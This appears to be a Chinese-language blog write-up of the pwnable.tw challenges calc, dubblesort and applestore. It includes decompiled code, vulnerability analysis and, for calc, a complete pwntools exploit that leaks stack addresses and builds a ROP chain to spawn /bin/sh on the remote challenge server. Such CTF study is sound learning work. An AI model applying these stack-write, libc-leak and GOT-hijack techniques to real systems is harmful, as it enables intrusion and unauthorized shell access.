0%

unpwnable( 01

calc dubblesort applestore

calc

逻辑漏洞造成可以泄露栈上内容以及写栈上返回地址

程序实现了简单计算器的功能。主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int calc()
{
int result[101]; // [esp+18h] [ebp-5A0h] BYREF
char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(expr, 0x400u);
if ( !get_expr(expr, 1024) ) // 过滤掉数字和+-*/%以外的字符
break;
init_pool(result); // 初始化存放数字的数组result
if ( parse_expr(expr, result) )
{
printf("%d\n", result[result[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

其中出现漏洞的函数是parse_expr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __cdecl parse_expr(char *expr, int *num_pool)
{
int v3; // eax
char *old_opera_plus1; // [esp+20h] [ebp-88h]
int opera_start_idx; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
int len; // [esp+2Ch] [ebp-7Ch]
char *num_str; // [esp+30h] [ebp-78h]
int num; // [esp+34h] [ebp-74h]
char opera_pool[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
old_opera_plus1 = expr;
v6 = 0;
bzero(opera_pool, 0x64u);
for ( opera_start_idx = 0; ; ++opera_start_idx )
{
if ( expr[opera_start_idx] - (unsigned int)'0' > 9 )// operator
{
len = &expr[opera_start_idx] - old_opera_plus1;//数字字符串长度,old_opera_plus1即数字字符串起始位置
num_str = (char *)malloc(len + 1);
memcpy(num_str, old_opera_plus1, len);
num_str[len] = 0;
if ( !strcmp(num_str, "0") ) // after operator can't be 0
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
num = atoi(num_str);
if ( num > 0 )
{
v3 = (*num_pool)++; //num_pool[0]存放的是数字个数
num_pool[v3 + 1] = num; //在之前个数+1的位置放入当前数字
}
if ( expr[opera_start_idx] && expr[opera_start_idx + 1] - (unsigned int)'0' > 9 )// opera+1->opera 避免了出现连续出现运算符或运算符后没有数的情况
{
puts("expression error!");
fflush(stdout);
return 0;
}
old_opera_plus1 = &expr[opera_start_idx + 1];
if ( opera_pool[v6] )
{
switch ( expr[opera_start_idx] )
{
case '%':
case '*':
case '/':
if ( opera_pool[v6] != '+' && opera_pool[v6] != '-' )
goto LABEL_14;
opera_pool[++v6] = expr[opera_start_idx]; // 前一个运算符是+-就先存下来
break;
case '+':
case '-':
LABEL_14:
eval(num_pool, opera_pool[v6]); // 前一个运算符为*/%直接算
opera_pool[v6] = expr[opera_start_idx];
break;
default:
eval(num_pool, opera_pool[v6--]);
break;
}
}
else
{
opera_pool[v6] = expr[opera_start_idx];
}
if ( !expr[opera_start_idx] )
break;
}
}
while ( v6 >= 0 )
eval(num_pool, opera_pool[v6--]);//把留下来的+-计算完
return 1;
}

eval的内容就是将num_pool的倒数两个数用operator计算一下存入倒数第二个数的位置并将num_pool[0]减一。

​ 其中有一句if ( expr[opera_start_idx] - (unsigned int)'0' > 9 )// operator or \0 不同类型进行运算时进行转换符合一套规则,完整可见《c++ primer plus》中文第六版p64。在这个表达式中两个操作数一个有符号,另一个无符号,无和有的级别相同,且有不能表示无的所有可能取值,前7条均不符合,故符合的应该是(8)将两个操作数都转换为有符号类型的无符号版本。

​ 现在考虑有哪些没被排除的非法输入。(草其实我自己看是看不出来哪有问题的……)元素有两个,运算符和数。在对num_pool计算时将数的个数放在0的位置,可能导致个数被当成操作数进行计算。那么如何达成错开一个数的效果呢?可以考虑比一般情况少输入一个数。发现第一个元素为运算符的情况程序没有考虑。

​ 输入+n时,第一次循环检测到+将+存入opera_pool,第二次将n存入num_pool[1,n],计算结果num_pool[n+1,n]->[n,n],返回``result[result[0]]=num_pool[n]`,我们可以用这个思路来泄露任意偏移栈上的内容。

​ 而输入+x+n(x不为1)计算的结果都将是n。比如输入+10+1后按照程序逻辑,第一次循环检测到运算符+,将+存入opera_pool;第二次循环检测到第二个+,将x存入num_pool [1,10],再将+存入opera_pool,进入evalnum_pool变为[11,10]->[10,10];进入第三次循环检测到结尾的\0,将n存入num_pool,此时num_pool[11]=1,再进行计算,num_pool[10]=num_pool[10]+num_pool[11]=1。而此时opera_pool已经为空了所以返回了result[result[0]]=num_pool[10]=1。利用这个思路达到任意偏移写。

利用

​ 静态编译,考虑构造11号系统调用。(条件我还不知道是从哪来的…)粘自网络:

1
2
3
4
eax = 11
ebx = addr("/bin/sh")
ecx = 0
edx = 0

​ 由int result[101]; // [esp+18h] [ebp-5A0h] BYREF0x5a0/4=360,我们得到了栈的基址即得到了写入/bin/sh的地址。查找rop链控制参数即可。写的时候注意两个地方,一个是栈上原有的数据可能干扰写入,一个是不能直接把0写进去,只要0在运算符后都被判invalid。我的处理办法是先从高地址往低写1,需要0时第二个运算符换成-就得到了0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *;from LibcSearcher import *
name='./calc'
f=ELF(name)
if args.G:
p=remote("chall.pwnable.tw",10100)
else:
#p = process(['./ld',name],env={'LD_PRELOAD':'./_libc.so.6'})
p=process(name)
#context(os='linux',arch='amd64',log_level='debug')
context(os='linux',arch='i386',log_level='debug')
#context.terminal = ['tmux' , 'splitw' , '-h']
one=[0x4527a,0x45226,0xf0364,0xf1207]
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
uu32 = lambda data :u32(data.ljust(4,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l = lambda x :log.success(x)
dbg = lambda : gdb.attach(p,"b *0x80493f2")

def pa(i,num):
sl('+'+str(360+i)+'+'+str(num))

eax=0x0805c34b
edx_c_b=0x080701d0
ecx_b=0x080701d1
ebx_esi=0x0804a094

int_80=0x08049a21
sla('===\n',flat('+','360'))
ebp=int(ru('\n',drop=True))+0xffffffff+1-0x20
log.info("ebp:"+hex(ebp))
log.info('num_pool:'+hex(ebp-0x5a0))

for i in range(11,-1,-1):
pa(i,1)
#dbg()
pa(12+2,0x68732f)
pa(11+2,0x6e69622f)
pa(10+2,int_80)
sl('+371-'+str(0xffffffff-ebp-46-8))
pa(7+2,ebx_esi)
sl('+368-'+str(1))
pa(4+2,ecx_b)
sl('+364-'+str(1))
pa(0+2,edx_c_b)
pa(1,11)
pa(0,eax)
sl('a')
p.interactive()

dubblesort

​ 接收字符串打印并往栈上写东西。打印时用的是printf,遇到\0截断,考虑覆盖栈上内容带出来libc有关的内容。写的时候因为会对输入内容排序记得保证值不减小。这个地方的找偏移我长了点见识。

​ 输入以后看栈上内容:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ tel 0xffba6b9c
0000| 0xffba6b9c ('a' <repeats 23 times>, "\n")
0004| 0xffba6ba0 ('a' <repeats 19 times>, "\n")
0008| 0xffba6ba4 ('a' <repeats 15 times>, "\n")
0012| 0xffba6ba8 ('a' <repeats 11 times>, "\n")
0016| 0xffba6bac ("aaaaaaa\n")
0020| 0xffba6bb0 ("aaa\n")
0024| 0xffba6bb4 --> 0xf7f3e000 --> 0x1b2db0
0028| 0xffba6bb8 --> 0xf7f3c244 --> 0xf7da3030 (<_IO_check_libio>: )
gdb-peda$

​ 以0x28处的值为例。本地中它相对于libc的偏移为0x1b1244,执行readelf -S /lib/i386-linux-gnu/libc-2.23.so

1
2
[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
[24] .tbss NOBITS 001b1244 1b0244 000040 00 WAT 0 0 4

​ 于是对应到给的libc找出该段偏移。(啊不太懂为什么看Addr而不是Off)

1
[23] .tbss             NOBITS          001ae244 1ad244 000040 00 WAT  0   0  4

applestore

​ 在idaview->open subviews->local types,按下insert可以用C语言直接声明结构体,在变量处右键转换为结构体指针格式后整理出来的代码看着还是挺爽的。

image-20210827195805095.png
1
2
3
4
5
6
printf("%d: Apple Store\n", 1);
printf("%d: Add into your shopping cart\n", 2);
printf("%d: Remove from your shopping cart\n", 3);
printf("%d: List your shopping cart\n", 4);
printf("%d: Checkout\n", 5);
return printf("%d: Exit\n", 6);

​ 4个功能,(2)用malloc创建链表结点(3)删除结点(用的是unlink那一套(4)链表遍历打印购物车(5)结账。结账代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int checkout()
{
int total; // [esp+10h] [ebp-28h]
item v2; // [esp+18h] [ebp-20h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
total = cart();
if ( total == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2.name, "%s", "iPhone 8");
v2.value = 1;
insert(&v2); //v2位于栈上,将栈地址加入了链表
total = 7175;
}
printf("Total: $%d\n", total);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}

​ 实际上当checkout执行过一次后再遍历打印就会失败了,因为此时栈上此处变成了垃圾数据。而观察一下,item v2; // [esp+18h] [ebp-20h] BYREF,三个函数add delete cart 中都存在char nptr[22]; // [esp+26h] [ebp-22h] BYREF,而my_read(nptr, 0x15u);也就是说可以通过溢出写到最后这个结构体。

​ 调用cart时将成员name写成got表项即可得到libc。接下来考虑怎么修改。思路不难和堆题的unlink联系起来。如果直接将got表项改成system地址,system处代码段为只读不可修改。可以考虑将handlerebp劫持到atoigot表处,用my_read(nptr, 0x15u);修改。

参考

https://p1kk.github.io/

一丢丢节省生命的调试技巧

​ 如果想在打开调试窗口时自动执行多条gdb命令,可以在做题文件夹下创建.gdbinit文件,将命令以换行符分隔输入,在家目录下.gdbinit中加入add-auto-load-safe-path ./。这样在命令行进行gdb调试和gdb.attach时都能自动执行输入的命令。

​ 多条命令一起执行也可定义函数,同样可在.gdbinit中输入↓ 如果想走一步看一块内存或者干嘛而display又不是很方便的话可以这么做。

1
2
3
4
def func
command
...
end

以及,看了下做题时间。我有病吧,就因为一个calc卡了一年??